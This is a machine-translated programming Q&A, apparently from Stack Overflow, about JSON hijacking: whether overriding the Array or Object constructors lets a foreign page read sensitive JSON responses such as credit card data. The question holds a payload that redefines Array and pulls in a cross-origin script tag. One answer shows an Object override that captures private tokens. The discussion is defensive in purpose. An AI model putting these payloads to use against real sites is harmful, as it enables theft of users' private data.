我知道可以通过重载Array构造函数来返回数组的请求上执行Cross site forgery attack。例如,假设我有一个网址:
foo.com/getJson
返回:
['Puff the Dragon', 'Credit Card #']
在XHR请求之后,这通常是我自己的网站的Javascript eval
',但是另一个网站可以通过包含以下内容来嗅探这些数据:
<script>
function Array() {
var arr = this;
var i = 0;
var next = function(val) {
arr[i++] setter = next;
document.write(val);
};
this[i++] setter = next;
}
</script>
<script src="http://foo.com/getJson"></script>
我的问题是,当请求返回Javascript对象时,可以做同样的事情吗?即。
{ name: 'Puff the Dragon', cc: 'Credit Card #' }
我无法想办法做到这一点,但也许我错过了一些东西。我知道有更好的解决方案可以保护我的网站,例如使用while(1) hack或在URL中要求使用身份验证令牌,但我想弄清楚是否存在这种安全漏洞。
答案 0 :(得分:2)
我见过的来源,例如Haacked和Hackademix,特别表明根对象是安全的(可能在所有主流浏览器中)。这是因为脚本无法以对象文字开头。默认情况下,ASP.NET使用d prefix包装对象和数组,但我认为这只是为了简化客户端库。
答案 1 :(得分:1)
从Ecmascript spec看起来,JSON对象不应被视为有效的Javascript程序:
“请注意ExpressionStatement 不能以开口卷曲开始 大括号,因为那可能会成功 一块模棱两可。
因此,假设所有浏览器都正确实现了此功能,则{ name: 'Puff the Dragon', cc: 'Credit Card #' }
之类的响应将不会作为有效的Javascript执行。但是({name: 'Puff the Dragon', cc: 'Credit Card #' })
和{['Puff the Dragon', 'Credit Card #']}
之类的表达式会。
答案 2 :(得分:0)
您可以对Object
使用相同的技巧。它不会影响原型链,因此它不会被所有对象继承。但是,您可以使用以下方式记录所有创建的新对象:
function Object() {
var obj = this;
if (window.objectarray === undefined) {
window.objectarray = [];
}
window.objectarray.push(this);
return this;
}
您网页上的任何时间代码都使用new Object()
,即使它是在私有作用域中创建的,也会写入window.objectarray
- 。因此,例如,看看这段代码:
var Account = function() {
var createToken = function() {
var objToken = new Object();
objToken.timestamp = new Date().getTime();
objToken.securestring = "abc123";
return objToken.timestamp + objToken.securestring;
}
var objPrivate = new Object();
objPrivate.bankaccount="123-456789";
objPrivate.token = createToken();
};
var myAccount = new Account();
在这种情况下,如果您使用new Account()
创建一个新帐户,则会使用私有属性(可能是方法)创建一个令牌,而myAccount
的任何内容都不会公开。但'objectToken'和objPrivate
都会记录到window.objectarray
。